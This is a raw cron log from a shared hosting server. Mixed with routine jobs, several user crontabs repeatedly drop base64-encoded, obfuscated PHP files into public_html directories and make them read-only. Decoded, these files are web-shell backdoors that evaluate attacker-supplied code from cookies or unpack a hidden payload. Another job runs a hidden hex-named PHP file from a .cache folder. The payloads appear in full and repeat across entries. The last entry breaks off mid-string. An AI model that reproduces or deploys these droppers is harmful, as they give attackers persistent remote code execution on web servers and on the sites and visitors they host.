Mar  1 14:30:02 medusa CROND[1687]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:30:02 medusa CROND[1690]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 14:30:02 medusa CROND[1688]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 14:30:02 medusa CROND[1692]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 14:30:02 medusa CROND[1691]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 14:30:02 medusa CROND[1700]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:30:02 medusa CROND[1699]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  1 14:30:02 medusa CROND[1698]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 14:30:02 medusa CROND[1704]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 14:30:02 medusa CROND[1706]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:30:02 medusa CROND[1707]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:30:02 medusa CROND[1712]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 14:30:02 medusa CROND[1717]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:30:02 medusa CROND[1720]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  1 14:30:02 medusa CROND[1714]: (root) CMD (/nutscripts/filtroh > /dev/null 2>&1)
Mar  1 14:30:02 medusa CROND[1722]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:30:02 medusa CROND[1721]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 14:30:02 medusa CROND[1716]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 14:30:02 medusa CROND[1724]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 14:30:02 medusa CROND[1715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:30:02 medusa CROND[1711]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 14:31:01 medusa CROND[26763]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:31:01 medusa CROND[26764]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:31:01 medusa CROND[26765]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:31:01 medusa CROND[26766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:31:01 medusa CROND[26767]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:31:01 medusa CROND[26768]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:31:01 medusa CROND[26769]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 14:31:01 medusa CROND[26772]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 14:31:01 medusa CROND[26773]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 14:31:01 medusa CROND[26774]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:31:01 medusa CROND[26776]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:31:01 medusa CROND[26778]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 14:31:01 medusa CROND[26775]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 14:32:01 medusa CROND[19332]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 14:32:01 medusa CROND[19333]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 14:32:01 medusa CROND[19334]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 14:32:01 medusa CROND[19335]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 14:32:01 medusa CROND[19336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 14:32:01 medusa CROND[19337]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 14:32:01 medusa CROND[19338]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdi